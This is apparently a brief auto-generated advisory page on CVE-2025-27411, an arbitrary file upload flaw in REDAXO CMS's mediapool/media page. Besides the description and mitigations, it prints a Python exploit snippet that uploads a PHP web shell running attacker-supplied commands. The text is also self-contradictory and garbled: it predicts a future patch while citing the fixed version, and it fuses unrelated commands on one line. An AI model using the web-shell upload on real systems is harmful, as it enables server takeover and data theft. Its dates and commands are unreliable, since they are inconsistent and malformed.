Listen to this Post
How the CVE Works
CVE-2025-27411 exploits an insecure file upload mechanism in REDAXO CMS versions before 5.18.3. The vulnerability resides in the `mediapool/media` page, where improper validation allows attackers to upload malicious files (e.g., PHP shells) to the server. This occurs due to insufficient checks on file extensions, MIME types, or content, enabling remote code execution (RCE) if the uploaded file is executed within the web root. Attackers can leverage this to gain full control over the affected system.
DailyCVE Form
Platform: REDAXO CMS
Version: < 5.18.3
Vulnerability: Arbitrary File Upload
Severity: Critical
Date: 07/01/2025
Prediction: Patch expected by 08/15/2025
What Undercode Say
Analytics:
curl -X GET "https://api.redaxo.com/vuln/CVE-2025-27411" grep -r "mediapool/media" /var/www/redaxo/
Exploit:
import requests
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
requests.post("http://target/redaxo/mediapool/media", files=files)
Protection from this CVE:
- Update to REDAXO 5.18.3+
- Disable file uploads if unused
- Implement file-type whitelisting
Impact:
- Remote Code Execution (RCE)
- Full server compromise
- Data exfiltration
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
